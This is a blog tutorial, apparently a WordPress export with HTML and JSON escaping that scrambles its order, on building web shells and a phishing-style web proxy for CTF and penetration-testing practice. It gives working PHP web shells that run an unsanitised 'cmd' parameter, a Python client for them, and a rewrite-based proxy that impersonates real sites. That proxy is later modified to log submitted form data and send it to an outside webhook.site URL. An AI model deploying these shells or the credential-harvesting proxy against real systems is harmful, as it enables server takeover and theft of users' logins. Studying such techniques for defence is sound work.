![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/chains.jpg\")
<\/p>\nIn this post, both concepts and practical exercises are provided to help consolidate valuable knowledge for attackers and defenders.<\/p>\n
<\/p>\n
Feel free to build upon the following tools for CTF Competitions or Pentest Campaigns.<\/p>\n
WEB SHELLS<\/strong><\/p>\n Web Shells are scripts that allow an attacker to execute commands on a remote web server and establish persistence. They are typically deployed by exploiting vulnerabilities in an existing web application. Once installed, an attacker can upload or download files, escalate privileges, and more.<\/p>\n A web shell can exist as a standalone file, as a poisoned file within the existing application, or by exploiting original code that does not properly sanitize variables. The scripting language depends on what is enabled on the web server. For example, servers running popular frameworks such as WordPress, Drupal, or Laravel almost certainly run PHP, while a server fingerprinted as Microsoft IIS will likely run ASP, though it is not limited to that.<\/p>\n HANDS-ON EXERCISE<\/strong><\/p>\n Note:<\/strong> in both examples above, the variable BASIC EXPLOITATION<\/strong><\/p>\n BASIC CLIENT HANDLER<\/strong><\/p>\n Note:<\/strong> in the example above, the web shell file is named WEB SHELL WITH UI<\/strong><\/p>\n USING THE WEB SHELL<\/strong><\/p>\n Note:<\/strong> in the last command, an HTTP request was issued remotely and proxied back to the attacker’s browser.<\/p>\n WEB PROXY<\/strong><\/p>\n A Web Proxy, in the context of hacking, fetches external content from a remote server and forwards it to the attacker. It can be used to hide the attacker’s IP from the target, or to pivot into a private network segment.<\/p>\n Here is an example of a minimal Web Proxy.<\/p>\n Create the file This attack may not work out of the box. It requires the web server (Apache, NGINX, etc.) to have the Rewrite Module enabled ( Create the file Connecting the Links of the Chain<\/strong><\/p>\n The attacker can locally resolve any domain to the compromised server. That server will handle requests using the default VHost, fetch the real page, and proxy it to the attacker’s browser as if it were the legitimate server.<\/p>\n All other files that make up the page (images, icons, CSS styles, etc.) will be redirected properly, thanks to the Rewrite module and the The Web Proxy will handle subsequent requests the same way, continuing to impersonate the original page even as the user follows links (GET).<\/p>\n Many other simple HTTP pages can be proxied with little effort.<\/p>\n IMPORTANT:<\/span><\/strong> this Web Proxy script is a proof of concept and is susceptible to leaks via redirects, JavaScript, and other means. It does not guarantee privacy or anonymity.<\/p>\n MAN-IN-THE-MIDDLE<\/strong><\/p>\n While a web shell is primarily used to establish persistence and take over a server, a web proxy can be used to pivot and attack other servers or users who fall into the trap. See the attack chain:<\/p>\n Let’s update The It now checks the method of the incoming request so it can redirect using the same method.<\/p>\n Checking stolen information:<\/p>\n Success!<\/p>\n REFLECTION NOTES<\/strong><\/p>\n I hope this exercise clarified the fundamentals every defender needs to master in order to mitigate or block these attack vectors.<\/p>\n BONUS<\/strong><\/p>\n In this post, both concepts and practical exercises are provided to help consolidate valuable knowledge […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,7],"tags":[],"class_list":["post-2955","post","type-post","status-publish","format-standard","hentry","category-hacking","category-web"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2955"}],"version-history":[{"count":14,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2955\/revisions"}],"predecessor-version":[{"id":5669,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2955\/revisions\/5669"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n\n
<?php echo shell_exec($_GET[\"cmd\"]); ?><\/pre>\n
\n
<?php @eval($_POST['cmd']); ?><\/pre>\n
cmd<\/code> is executed with no sanitization.<\/p>\n
\n\n
curl \"http:\/\/server.address\/?cmd=whoami\"<\/code><\/li>\n<\/ul>\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\nimport requests\r\n\r\nif len(sys.argv) > 1:\r\n url = sys.argv[1]\r\nelse:\r\n url = input(\"Enter the URL of the PHP webshell: \")\r\n\r\nwhile True:\r\n cmd = input(\"$ \")\r\n if cmd == \"exit\":\r\n break\r\n response = requests.get(url, params={\"cmd\": cmd})\r\n print(response.text)<\/pre>\nchmod +x webshell-client.py\r\n.\/webshell-client.py http:\/\/server.address\/path\/webshell.php<\/strong><\/pre>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-14-56-29.png\")
<\/p>\nindex.php<\/code> and was placed at the root of the site (path = \/<\/code>).<\/p>\n
\n<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\">\r\n<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"><\/form>\r\n\r\n<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?><\/pre><\/body><\/html><\/pre>\n\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-15-09-33.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-15-08-46.png\")
<\/p>\n\n
curl ip.me<\/code><\/li>\n<\/ul>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-15-15-50.png\")
<\/p>\n
\nindex.php<\/code> with the following content at the root of the Default<\/strong> website (more on this later):<\/p>\n<?php\r\n$url = \"https:\/\/\" . $_SERVER['HTTP_HOST'] . $_GET['url'];\r\n\r\n$headers = get_headers($url, true);\r\nforeach ($headers as $name => $value) {\r\n if (is_string($name) && $name == 'Content-Type') {\r\n header(\"$name: $value\");\r\n }\r\n}\r\n\r\necho file_get_contents($url);\r\n?><\/pre>\n\n
\n
example.com<\/code>) and the url<\/code> argument.<\/li>\n<\/ul>\n<\/li>\n\n
Content-Type<\/code>.<\/li>\n\n
sudo a2enmod rewrite<\/code>).<\/p>\n.htaccess<\/code> in the same directory with the following content:<\/p>\nRewriteEngine On\r\nRewriteRule !(^$) \/?url=%{REQUEST_URI} [R=301,L]<\/pre>\n\n
\/?url=<\/code>.<\/li>\n<\/ul>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/chain-1.jpg\")
<\/p>\n\n
\/var\/www\/html<\/code>.<\/li>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-21-07-16.png\")
<\/p>\n.htaccess<\/code> configuration.<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-21-07-18.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-21-07-19-1.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-19-21-07-39.png\")
<\/p>\n
\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/chain-2.jpg\")
<\/p>\n\n
\n
index.php<\/code> to add logging and exfiltration capabilities:<\/p>\n<?php\r\n$url = \"https:\/\/\" . $_SERVER['HTTP_HOST'] . $_GET['url'];\r\n\r\nif ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\r\n $logFile = \"postData.log\";\r\n $postData = http_build_query($_POST);\r\n file_put_contents($logFile, $url.' '.urldecode($postData).\"\\n\", FILE_APPEND | LOCK_EX);\r\n @file_get_contents('https:\/\/webhook.site\/c2ae5980-e09f-4ab5-8acf-879d7b417a28?' . $postData);\r\n}<\/strong>\r\n\r\n$headers = get_headers($url, true);\r\nforeach ($headers as $name => $value) {\r\n if (is_string($name) && $name == 'Content-Type') {\r\n header(\"$name: $value\");\r\n }\r\n}\r\n\r\necho file_get_contents($url);\r\n?><\/pre>\n\n
\n
postData.log<\/code>.<\/li>\n\n
.htaccess<\/code> file also needs a small update:<\/p>\nRewriteEngine On\r\n\r\nRewriteCond %{REQUEST_METHOD} =GET<\/strong>\r\nRewriteRule !(^$) \/?url=%{REQUEST_URI} [R=301,L]\r\n\r\nRewriteCond %{REQUEST_METHOD} =POST<\/strong>\r\nRewriteRule !(^$) \/?url=%{REQUEST_URI} [R=307<\/strong>,L]<\/pre>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-20-11-22-09.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-20-10-54-13.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2022\/06\/Screenshot-from-2024-04-20-10-55-27.png\")
<\/p>\n
\n\n
\n
\n
\n
\n\n
\n
\n
tree \/usr\/share\/webshells\/<\/code><\/li>\n<\/ul>\n<\/li>\n\n
\n
\n